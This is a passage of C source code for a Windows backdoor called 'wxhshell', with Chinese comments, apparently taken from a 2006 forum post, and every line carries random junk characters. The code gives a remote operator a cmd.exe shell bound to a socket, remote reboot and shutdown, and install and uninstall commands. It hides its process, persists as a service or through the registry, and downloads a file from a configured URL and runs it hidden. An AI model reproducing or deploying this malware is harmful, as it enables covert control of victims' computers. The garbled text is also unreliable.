  // 安装  ~0T;T  
  case 'i': { tF&g3)D:NV  
    if(Install()) mV'XH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q[ -YXO  
    else Jjr&+Q^3Tu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,'%wadOo  
    break; m,X8Cy|vQ  
    } KccIYn~  
  // 卸载 O`rKxP  
  case 'r': { <{Pr(U*7}  
    if(Uninstall()) W-8U~*/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H-g CY|W  
    else |3SM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d&x #9ka  
    break; ,ej89  
    } a^xt9o`  
  // 显示 wxhshell 所在路径 y~Ts9AE  
  case 'p': { " R5! VV  
    char svExeFile[MAX_PATH]; >K@Y8J+ e#  
    strcpy(svExeFile,"\n\r"); .gP}/dj  
      strcat(svExeFile,ExeFile); ;+3XDz v  
        send(wsh,svExeFile,strlen(svExeFile),0); 7+2DsZ^6MW  
    break; KM:k<pvi  
    } 8TH fFL  
  // 重启 XN Gw@$  
  case 'b': { j-%@A`j;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q,% lG$0v  
    if(Boot(REBOOT)) g-8D1.U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $uj3W<iw3E  
    else { >&Ios<67g  
    closesocket(wsh); OC5\3H  
    ExitThread(0); nb|KIW  
    } M8y:FDX  
    break; 7ZR0cJw;  
    } P~^VLnw  
  // 关机 Iss)7I  
  case 'd': { r Y#^C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :oeDksld  
    if(Boot(SHUTDOWN)) =&,<Co1hF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +aoenUm5  
    else { eR|u']Em>T  
    closesocket(wsh); 5fjL  
    ExitThread(0); ;QS(`SK l  
    } CxbGL  
    break; G}V5PEF]`  
    } !V~,aoKTj  
  // 获取shell g)`;m%DG6  
  case 's': { T? e(m  
    CmdShell(wsh); 2qgm(jo *y  
    closesocket(wsh); ?qt.+2:  
    ExitThread(0); {^V9?^?d (  
    break; VNT*@^O_=  
  } vAt ]N)R  
  // 退出 Pu0 <Clh  
  case 'x': { ~zO>Q4-k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sBq6,Iu  
    CloseIt(wsh); K*sav?c  
    break; O =gv2e  
    } kW4B @Zh  
  // 离开 $GJuS^@%  
  case 'q': { &$NYZ3?9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /3KPK4!m  
    closesocket(wsh); |x+g5~$  
    WSACleanup(); !eP)"YWI3  
    exit(1); CBKLct>  
    break; < .knM  
        } H/''lI{k)  
  } H[o >"@4  
  } h6;vOd~%  
l#|wF$J  
  // 提示信息 u.rFZu?E\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  0U&@;/?  
} iyJx~:  
  } X4dxH_@  
^hRx{A  
  return; ojG;[@V  
} k}hTSL  
G<W;HMj2  
// shell模块句柄 m'PU0x  
int CmdShell(SOCKET sock) S3N+ 9*i K  
{ A81'ca/  
STARTUPINFO si; wmDO^}>ZP  
ZeroMemory(&si,sizeof(si)); 59#o+qo4   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _uq[D`=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :x[SV^fw[  
PROCESS_INFORMATION ProcessInfo; X0 ^~`g  
char cmdline[]="cmd"; EN/r{Cm$B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mhW*rH*m  
  return 0; }Hy4^2B  
} /*1p|c^  
#t<  
// 自身启动模式 r0/aw  
int StartFromService(void) )F'r-I%Hi  
{ 77H"=  
typedef struct :um]a70  
{ rGm xK|R  
  DWORD ExitStatus; z]HaE|j}S  
  DWORD PebBaseAddress; {v,NNKQ4x  
  DWORD AffinityMask; K:q|M?_  
  DWORD BasePriority; 3,yzRb  
  ULONG UniqueProcessId; 6m mc{kw'  
  ULONG InheritedFromUniqueProcessId; pg.BOz\'q  
}   PROCESS_BASIC_INFORMATION; K};~A?ET,h  
1"S~#  
PROCNTQSIP NtQueryInformationProcess; P^^WViVX  
Y+nk:9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ' '<3;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jT*?Z:U  
7-VP)|L#G  
  HANDLE             hProcess; *X\J[$!  
  PROCESS_BASIC_INFORMATION pbi; :6jh*,OHZl  
1!W'0LPM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f-`C1|\w  
  if(NULL == hInst ) return 0; ] XjL""EbC  
+lw8YH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2?nEHIUT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %\] x}IC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); trz &]v=:  
|a!]Iqz"N  
  if (!NtQueryInformationProcess) return 0; @kWRI*m  
z#*> u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KD`*[.tT  
  if(!hProcess) return 0; R q`j|tY  
G]zyx"0Sqb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &P&VJLAe  
cvVv-L<[S`  
  CloseHandle(hProcess); w Y=k$  
r !;wKO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^4Tf6Fw#  
if(hProcess==NULL) return 0; k!py*noy  
DCKH^J   
HMODULE hMod; 4u= v  
char procName[255]; h9kwyhd"  
unsigned long cbNeeded; ,}/6Za  
x7!gmbMfK'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]([^(&2  
IG90mpLX  
  CloseHandle(hProcess); H>F j  
bD`h/jYv  
if(strstr(procName,"services")) return 1; // 以服务启动 #z =$*\u  
]cM,m2^2  
  return 0; // 注册表启动 r2m&z%N &  
} [LM9^*sG2V  
1#KBf[0  
// 主模块 C#TP1~6  
int StartWxhshell(LPSTR lpCmdLine) C."\ a_p  
{ ;: 0<(!^*  
  SOCKET wsl; k:8NOx|s"  
BOOL val=TRUE; %5!K?,z%  
  int port=0; TTGWOC  
  struct sockaddr_in door; 20/P:;  
<>H^:iqn  
  if(wscfg.ws_autoins) Install(); U+,RP$r@  
,olP}  
port=atoi(lpCmdLine); yof8LWXx  
Nxr\Yey  
if(port<=0) port=wscfg.ws_port; NqM=Nu\  
"V`5 $ur  
  WSADATA data; nd }Z[)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `L%<3/hF  
.Bojb~zt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1 %8JMq\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3F32 /_`  
  door.sin_family = AF_INET; hC?rHw H>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %Ix2NdC  
  door.sin_port = htons(port); p8j*m~4B  
Muyi2F)j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7Q9| P?&:z  
closesocket(wsl); 0 YAH[YF  
return 1; dF><XZph  
} aKintb}n  
|nBs(>b  
  if(listen(wsl,2) == INVALID_SOCKET) { Q5HSik4  
closesocket(wsl); \_x~lRqJJ  
return 1;  54#P  
}  'Pxq>Os  
  Wxhshell(wsl); xdh%mG:?  
  WSACleanup(); \ 027>~u {  
JCci*F#r  
return 0; 9Dp0Pi?29  
?JBA`,-  
} M(vX.kF  
4 %V9  
// 以NT服务方式启动 PMT}fg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9"zp>VR  
{ $b)t`r+  
DWORD   status = 0; (4|R}jv  
  DWORD   specificError = 0xfffffff; n`V?n  
D!z'Y,.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5+UNLvsZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -$$mrU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =1y~Qlu  
  serviceStatus.dwWin32ExitCode     = 0; kH`?^ ^_yJ  
  serviceStatus.dwServiceSpecificExitCode = 0; Pn l}<i  
  serviceStatus.dwCheckPoint       = 0; x[xRqC vL  
  serviceStatus.dwWaitHint       = 0; aYM~Ub:x{  
R '8S)'l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7CH.BY  
  if (hServiceStatusHandle==0) return; 3taGb>15  
^6J*:(eM  
status = GetLastError(); ^^F 8M0k3  
  if (status!=NO_ERROR) 0rvBjlFT  
{ F` &W5[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WF:4p]0~)  
    serviceStatus.dwCheckPoint       = 0; V9jxmu F,  
    serviceStatus.dwWaitHint       = 0; %/ "yt}"|  
    serviceStatus.dwWin32ExitCode     = status; 2#ZqGf.'v  
    serviceStatus.dwServiceSpecificExitCode = specificError; x_CY`Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MRg Ozg  
    return; }rUAYr~VZ  
  } iH~A7e62OZ  
KTBtLUH]*F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }I1j#d0.  
  serviceStatus.dwCheckPoint       = 0; sOb]o[=  
  serviceStatus.dwWaitHint       = 0; *Q#oV}D_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q]Kv.x]$R  
} C DoD9Hq,  
7 IJn9b  
// 处理NT服务事件,比如:启动、停止 u%lUi2P2E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z}{]/=h  
{ vK`HgRQ(C  
switch(fdwControl) *Ms&WYN-  
{ +o):grWvQ  
case SERVICE_CONTROL_STOP: I0qJr2[X~  
  serviceStatus.dwWin32ExitCode = 0; o1"N{ Eu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I@\D tQZ  
  serviceStatus.dwCheckPoint   = 0; 62MQ+H  
  serviceStatus.dwWaitHint     = 0; )FPn_p#3]  
  { v+}${h9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <sw=:HU  
  } |5ge4,}0  
  return; /Kq'3[d8  
case SERVICE_CONTROL_PAUSE: .;qh>Gt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q"oNFHYPDs  
  break; "R=~-, ~  
case SERVICE_CONTROL_CONTINUE: bub6{MQW8e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &,=FPlTC=  
  break; k2tSgJW  
case SERVICE_CONTROL_INTERROGATE: 3o0ZS^#eB  
  break; ~I9o *cq  
}; H?!DcUg CC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sOiM/} O]  
} aC%Q.+-t  
BvH?d]%  
// 标准应用程序主函数 t`{T:Tjc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bo(w$& VW  
{ $d!Vxm  
FvYciU!  
// 获取操作系统版本 ;<thEWH;Y  
OsIsNt=GetOsVer(); 8ZqLG a]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SWY  
6/?onEL9_  
  // 从命令行安装 6y1\ar(A  
  if(strpbrk(lpCmdLine,"iI")) Install(); -%gEND-AP  
'TuaP `]<  
  // 下载执行文件 :=TIq  
if(wscfg.ws_downexe) { erbk (  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) awvP;F?q|  
  WinExec(wscfg.ws_filenam,SW_HIDE); T:Ee6I 3l  
} 3-,W? "aC  
9jX_Eoxy  
if(!OsIsNt) { ^jUw4Dj~-q  
// 如果时win9x,隐藏进程并且设置为注册表启动 x#N_h0[i  
HideProc(); KX 7 fgC  
StartWxhshell(lpCmdLine); s,8zj<dUv  
} tl\<:8pI"  
else { V[}#Mf  
  if(StartFromService()) J|DZi2o  
  // 以服务方式启动 Gyy4zK  
  StartServiceCtrlDispatcher(DispatchTable); j*Pq<[~  
else MpGG}J[y  
  // 普通方式启动 "om7 : d  
  StartWxhshell(lpCmdLine); 3)6-S  
S*|/txE'~Y  
return 0; \!BVf@>p%  
}
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只看该作者 1 发表于: 2006-10-10
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